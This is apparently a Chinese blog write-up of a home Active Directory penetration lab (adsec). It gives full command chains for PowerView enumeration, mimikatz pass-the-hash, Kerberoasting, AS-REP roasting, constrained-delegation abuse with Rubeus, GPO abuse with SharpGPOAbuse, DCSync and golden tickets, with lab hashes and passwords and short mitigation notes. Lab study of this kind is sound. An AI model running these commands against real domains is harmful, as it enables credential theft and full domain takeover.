https://github.com/cfalta/adsec
有些地方是直接Google 翻译过来的。
注意:本人域渗透新手,很多问题都不懂,有问题欢迎大哥后台留言啊!!!
学习的过程中,最难的就是环境搭建了。(因为有些坑,别人不一定遇到,么有地方可以问,然后有些问题就离谱。。)
物理机:MacBookPro 2020 Intel i5
虚拟机:Vmware Fusion Windows Server 2019 * 3
域成员用户密码:P@ssw0rd123!(00和01)
域机器本地管理员密码:P@ssw0rd123!@#(P@ssw0rd123!!!)
域控机器管理员密码:P@ssw0rd123!!!
密码随便自己设置符合要求就可以,这里列出来只是害怕忘记了。
搭建一个域控,两台域成员机器,然后能ping通就好了。
Configure the following steps on every VM:
Point the DNS server to the IP of ADSEC-DC
Disable Windows Firewall (run in Powershell with admin rights)
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Disable Windows Defender
Uninstall-WindowsFeature -Name Windows-Defender
在两台成员机器上用, john P@ssw0rd/blee TekkenIsAwesome! 来认证加入域。
![
](https://img-blog.csdnimg.cn/6165c2c1457a4ba6b126109021b23421.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hCb2hhbg==,size_16,color_FFFFFF,t_70)
该环境是假设john这台ADSEC-00 被攻破了,作为入口来进行AD域渗透。因为要通过powershell 脚本来安装攻击的工具,所以需要再分配一张网卡,让这台机器出网。
neo4j 图数据库安装
https://neo4j.com/artifact.php?name=neo4j-desktop-1.4.7-setup.exe
https://www.oracle.com/java/technologies/javase-jdk11-downloads.html
BloodHound
这里主要是用的PowerView,
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
首先是导入PowerView模块,
cat -raw “.\PowerView.ps1” | iex
域内基础信息和域控信息
比如域名、域控ip、域控的操作系统版本等
获取所有域计算机和用户
注意:通常情况下需要过滤,因为真实的域环境中会有大量结果。
Get-DomainComputer
过滤域管:
Get-DomainUser|?{$_.memberof -like “Domain Admins”} | select
samaccountname
只显示用户名:
在这里插入图片描述
获取所有域计算机,但仅显示名称、DNS 名称和创建日期,并以表格形式显示
Get-DomainComputer | select samaccountname,dnshostname,whencreated |
Format-Table
获取自定义用户组
Get-DomainGroup | ? { $.distinguishedname -notlike “CN=Users” -and
$.distinguishedname -notlike “CN=Builtin”} | select
samaccountname,description
(主要就是熟悉PowerView的相关用法,Powershell查询语法)
https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon
域中有多少用户对象?编写一个 powershell 查询,以表格形式列出所有用户,仅显示属性 samaccountname、displayname、description 和最后一次密码更改
您能识别任何自定义管理组吗?以通用方式更改上面的 powershell 查询,使其仅返回自定义管理组。
Get-DomainGroup | ? { $.distinguishedname -like “CN=Manage” -or
$.distinguishedname -like “CN=admin”} | select
samaccountname,description
谁是您找到的自定义管理员组的成员,他最后一次设置密码是什么时候?
想出识别域中服务帐户的简单方法吗?编写一个 powershell 查询,根据您提出的模式列出所有服务帐户。
Get-DomainUser -SPN |select
serviceprincipalname,userprincipalname,pwdlastset,lastlogon
工具:
获取到管理员的hash,37bef461dec3d4cb748209d3c3185132
然后pth,
sekurlsa::pth /user:Administrator
/ntlm:37bef461dec3d4cb748209d3c3185132 /domain:redteamlab.com
https://support.accessdata.com/hc/en-us/articles/204150405-Disable-Remote-UAC
然后需要重启。发现也不成功。。。 而且什么是remoteuac呢?
在windows Vista之后引入了一种默认开启的remote UAC,计算机的任何非SID 500本地管理员帐户,
用户在远程计算机上没有特权提升能力,并且用户无法执行管理任务。
kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名,接下来我们统称RID 500帐户)和本地管理员组的域用户是没有影响的
我人傻bi了,我一直在非域控的机器上pth…
mimikatz 命令“privilege::debug”和“token::elevate”的目的是什么?为什么需要执行它们?第一个是提权,第二个是假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。
以 Bruce Lee 的身份登录 adsec-01。 使用您在上面学到的知识并帮助 john 从内存中远程提取 Bruce Lees NTLM 哈希。 注意:“lsadump::sam”只转储本地密码数据库。 您需要使用不同的命令从内存中提取数据。
在互联网上研究如何最好地减轻传递哈希攻击。描述您认为最好的缓解技术,并解释您选择它们的原因。
1.微软在2014年5月13日发布了针对Pass The Hash的更新补丁kb2871997,标题为”Update to fix the Pass-The-Hash Vulnerability”,而在一周后却把标题改成了”Update to improve credentials protection and management”。(事实上,这个补丁不仅能够缓解PTH,还能阻止mimikatz 抓取明文密码
2.监控Windows事件日志,发现异常了马上应急处理
3.禁用RID=500的管理员账户
是否有可能(并且可行)完全禁用 NTLM?解释你的理由。
不可能,理由从正常使用来说,域认证和一些应用认证都需要NTLM Hash。从其他角度,还不知道。
限制传入域的 NTLM 流量
使用Kerberoasting破解服务账号“taskservice”的密码。
加载使用的powershell 脚本:
cat -raw .\PowerView.ps1 | iex cat -raw .\Invoke-Rubeus.ps1 | iex
获取具有服务主体名称 (SPN) 的所有域用户。
Get-DomainUser -SPN | select samaccountname, description, pwdlastset,
serviceprincipalname
使用Rebus来进行统计Kerberos
Invoke-Rubeus -Command “kerberoast /stats”
运行 Rubeus 来获取目标用户的 TGS
Invoke-Rubeus -Command “kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt”
![
在这里插入图片描述](https://img-blog.csdnimg.cn/6857f796e32d4e05866b25d90375af96.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hCb2hhbg==,size_16,color_FFFFFF,t_70)
$krb5tgs$23$*taskservice$redteamlab.com$HTTP/task.contoso.com*$68EEDDB21370D83E51B255E76E092D96$236B6181FCE72FBDDD1593A6A0354248E2FFDCD8FF1C80FA1CD9CDCC5AF7B021D5650116FB85566BD51E646F6E7EDEC6A2CE72CBD4292919992A5809CE64EA5102D8F3698905D61864F5F3D248B80205EC82090F572F70CA6058FFA9B770EE2FDE5E6BDC17267C45D820DB32DE48BA75A4940948EBAD7F52F8E5E0CA0EFFAE5181692EC805BF9DD8B95F791064C039448DEA4E0D778209C18E9228FD8CACDBE1E38BE2B2510FF931D35B9C69FF459F223B0E97A55D1A9D8B6F33D563293DADAF5F11133CAFE6FEC13B2681148F88633C4E765CE7B37A23954ABC76F7D1203FD7E34C5F3B1F7BBE46C0D8A37BF96A73FFAD3DF7C2949A213FE1D26353FD8190893AE63F526C8E09AA2E7F1EB08CE0640D3420FD603AB14816F1D30100C758AC4028AA571F3F2423533FAAE2A8FA22CC7DC3322A160D0D5C667C6682B151A043615A4E8C008282EFDFE58E190686CF03DB92276968054BCDBBAA89456D3BBC98B8861D02C0FF8EBF211BF38D8632EEF913EC7C3981BDDAC048D1C7B8E77F86AA0AC455F393D4B21AC7F67B7DCEC79617995818955B0F9C19BCB409EFAF0B3644389607DF129199DE2A6D30E4A6B34781B2DE32D99AFEE1FF2935377EA45EE43DBEFCEB9C54C7315274E282F0B0329C0818D94953EDDA8F92E4BBF0A96777E10403F7D6A057E0E8FDFFF22ACE176D820DA6CD66E759D0CB21083F5CE466DEAC56B5A2FD2BF59C56BC0F5FEB8BCC81B4FA57FBB77EAB0A9E4C5EE663E35C6F0C1EEC3C9C87406EC699833C37C469682D9E54B3C76E6A041136D9962C239E2A9768C751456A3C830C5E004C31D93A17386EDF83F46CBA3CCE6C640EF128784044AF5F327D280E47007DA68CF3C10261F1E0B06DD674BA26EC518F1DF3136D5953F3265B964AC454A70BFDF18F89C3FA9EAF7A9C6AFC6C077B7B3282E1A49F7BE75316BE7497C0E387D36BDA129200A1C62F82333A38B2F6C4B0BF15A6EA38D9A8DCC8D0AED8520C864F84CE89253DB0F9BCB23A4C8C1A1880F512687982EB7DCA2CA4CCF38B2EDB9C53FE078AFDA87C2E8BA02D9930C4D7903E8EC97EB79CF8F796DDD4E056008E88B0A7A0A4B5EEC2E30A92E5CD2EF4E2D6F3955D3818D2311FBF31B32042159DF0592D03E478F50F9FE898DBF2C4865B6CE3511229B0F7F4C1ECFFA3B90E343401024FE5C999EB36337812F50C6ED95A69B2B3E951B3EC013D245BA48FB0347A33B930CA48A7516DCB198D7A3E03E9F97D89248ABC597D770EAF6100DEA9BD54CF63F4E87D784EC651403AF7ACEC1C8D1CD1645C526AEEBBE70F8A258DFF38C569462CC4E61E08EA2A26EC6007D0DC200181FBD32AADA9C5C6EF9168F3C85755773EE6C6878ED820722EB3CA57DE786005D5820FAFF8E0F6BA82436C91A2851C5132D6F973B12015A1211E7261A1C6FDAE79E62AB17C2B3110FD027731008D0EEBFB4CC4F9278518
.\john.exe ..\krb5tgs.txt --wordlist=..\..\example.dict --rules=passphrase-rule2
](https://img-blog.csdnimg.cn/6c93c606fe5544bdad117c9f62f2173e.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hCb2hhbg==,size_16,color_FFFFFF,t_70)
在线研究如何最好地减轻 kerberoasting 攻击。描述您认为最好的缓解技术,并解释您选择它们的原因。增加密码长度,能够提高破解难度,并且定期修改关联的域用户口令。
尽量将域内的服务器系统升级至少至 windows2008 系统,应用 AES256 高难度的加密算法
禁止用户开启do not require kerberos preauthentication
还有另一个用户帐户容易受到 AS-REP roasting的影响。使用上一个练习中类似的命令破解他的密码。 (提示:Get-DomainUser -NoPreauth)
获取到hash
使用john 破解密码
.\john.exe C:\Users\john\krb5tgs2.txt --wordlist=..\..\example.dict --rules=passphrase-rule2
--wordlist=..\..\example.dict --rules=passphrase-rule2
Explain the difference between the two attacks you just executed (TGS vs. ASREP roasting).https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting
委派有:
约束委派
非约束委派
基于资源的约束委派
这里将滥用用户“taskservice”的约束委派权限来访问 adsec-01。
查找已启用约束委派的用户。
Get-DomainUser -TrustedToAuth
查找允许的委派目标。
Get-DomainUser -TrustedToAuth | select -ExpandProperty msds-allowedtodelegateto
因为之前通过 kerberoasting得到了 taskservice 的密码,我们可以生成hash,用
Invoke-Rubeus -Command "hash /password:Amsterdam2015 /domain:redteamlab.com /user:taskservice"
[*] Action: Calculate Password Hash(es)
[*] Input password : Amsterdam2015
[*] Input username : taskservice
[*] Input domain : redteamlab.com
[*] Salt : REDTEAMLAB.COMtaskservice
[*] rc4_hmac : C010AED6AEE4804A3C49FDD0518FCA5D
[*] aes128_cts_hmac_sha1 : D969340CE347859B0B8B44CA43D994EE
[*] aes256_cts_hmac_sha1 : D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA
[*] des_cbc_md5 : 988F1CC4FB0DC873
Rubeus 允许我们在新的登录会话中启动 powershell。这意味着我们伪造的票据只存在于这次登录会话中,不会干扰用户 john 已经存在的 kerboers 票据。
Invoke-Rubeus -Command "createnetonly /program:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /show"
使用 s4u 去向KDC 请求TGS 模拟域管理员 “Bruce Willis” (bwillis) 然后去攻击ADSEC-01,这里请求三种不同的服务票据,CIFS将用于SMB访问、HOST/RPCSS用于WMI
Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:cifs/adsec-01.redteamlab.com /ptt"
Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:host/adsec-01.redteamlab.com /ptt"
Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:rpcss/adsec-01.redteamlab.com /ptt"
s4u 是什么?这里复习一下 学习Kerberos 协议时的内容。
S4U分两种,2SELF和2PROXY
S4U2self 使得服务可以代表用户获得针对服务自身的kerberos服务票据。这使得服务可以获得用户的授权( 可转发 的用户TGS票据),然后将其用于后期的认证(主要是后期的s4u2proxy),这是为了在用户以不使用 Kerberos 的方式对服务进行身份验证的情况下使用。这里面很重要的一点是服务代表用户获得针对服务自身的kerberos票据这个过程,服务是不需要用户的凭据的
s4u2proxy 使得服务1可以使用来自用户的授权( 在S4U2SELF阶段获得),然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的TGS,并且代表用户访问服务2,而且只能访问服务2。
详细的过程可以去看daiker 师傅的文章。
klist 查看生成的Kerberos 票据
确定创建的票据是否成功
通过SMB:
ls \\adsec-01.redteamlab.com\C$
通过wmi:
Get-WmiObject -Class win32_process -ComputerName adsec-01.redteamlab.com
上面的练习中,您通过 SMB 和 WMI 获得了对服务器 adsec-01 的读取访问权限。 现在尝试通过这两个协议来获取代码执行全系。 目标是执行以下命令,该命令会将用户 john 添加到本地 admin 组:”net localgroup Administrators john /ADD”wmic /node:adsec-01 process call create “cmd.exe /c net localgroup Administrators john /add”
实现一种使用 SMB 和 WMI 实现此同样目标的方法。提示:我们已经在 PTH 练习中使用了依赖于 SMB 的远程管理工具,并且 Powershell 包含用于调用 WMI 方法的本机命令。
psexec
尝试模拟域管理员用户“Chuck Norris”而不是“Bruce Willis”。它有效吗?解释为什么。
可以攻击ADSEC-DC(域控),而不是ADSEC-01.
工具:
PowerView
BloodHoundAD
第一部分介绍使用 Bloodhound 从 Active Directory 收集和分析数据。第二部分演示了对组策略的基于 ACL 的攻击。
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
-CollectionMethod DcOnly 表示只从域控制器收集数据。 从 opsec 的角度来看,这是更可取的,因为从流量来看是正常的。
-Stealth 意味着单线程运行。 速度较慢,但不容易被安全设备发现。
-PrettyJson 格式化 .json 文件。
-NoSaveCache 表示不保存缓存文件。 因此,每次运行 Sharphound 时,它都会从头开始。
启动neo4j图数据库,
启动BloodHound,将之前跑出来的json 文件导入。
在Queries中 选择寻找所有域管:
将用户“taskservice”标记为已经拿下。找到允许我们使用用户 taskservice 控制域控制器的攻击路径。
然后寻找到域控的最短攻击路径
这里显示用户对域控的组策略有写入权限(GenericWrite),通过组策略利用,攻击DC
前面的练习显示用户“taskservice”对“默认域控制器”组策略具有写入权限。我们将使用它来获得域管理员权限。
使用taskserivce用户登录,需要密码,密码我们之前通过Kerberoasting
已经拿到了,Amsterdam2015
因为我把工具放在john 桌面上的,这里是没有权限,因为john 已经是作为打域的口子了,已经被拿下,把工具放在C:\下面就行。
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author contoso\adminuser --Command "cmd.exe" --Arguments '/c net group \"Domain Admins\" john /ADD' --GPOName "Default Domain Controllers Policy" --force
现在已经将 john 用户添加到域管这个用户组了,但是真实环境中,必须等到域管重新更新组策略才会触发。这里直接在域控上手工更新了。
成功将域普通用户提权为域管理员。
然后成功登录域控:
mimikatz 后门
白银票据、黄金票据
and so on
因为我们现在已经有了域管权限(Administrators, Domain Admins, Enterprise Admins 都可以),可以通过 DCSync attack 来进行一个权限维持
这里用的是mimikatz,
lsadump::dcsync /user:krbtgt
拿到域内所有用户的hash。
使用mimikatz 制作黄金票据(使用Chuck Norris用户),在域控上查看事件id是不是4624,黄金票据登录和正常登录有什么区别。
正常来说认证访服务的流程是先4768(TGT)-4769(TGS)-4624(logon),但是黄金票据攻击的话只会有4769-4624,因为TGT已经离线生成了
再制作一个黄金票据,要求这个用户在AD里不存在,RID为500,/id:500,然后使用这个票据去访问SMB或者远程PowerShell。那个能成功访问到。
在DCsync Attack的时候已经获取到了 krbtgt用户的hash了,现在还需要获得域用户的sid。
whoami /user(在cnorris的cmd)
或者
lsadump::dcsync /user:cnorris
S-1-5-21-2285992356-195623764-2499460835-1106
然后制作黄金票据:
kerberos::golden /domain:redteamlab.com /sid:S-1-5-21-2285992356-195623764-2499460835-1106 /krbtgt:37710395b3dbb0e193a6a79b7831859c /user:cnorris /ticket:golden.kirib
导入伪造的票据,看能不能获取到域控权限。
kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list
成功访问到域控的共享文件夹。
然后登录域控查看事件
问题二:
感谢大佬的指点
这有我整理的网络安全的资料,你有需要嘛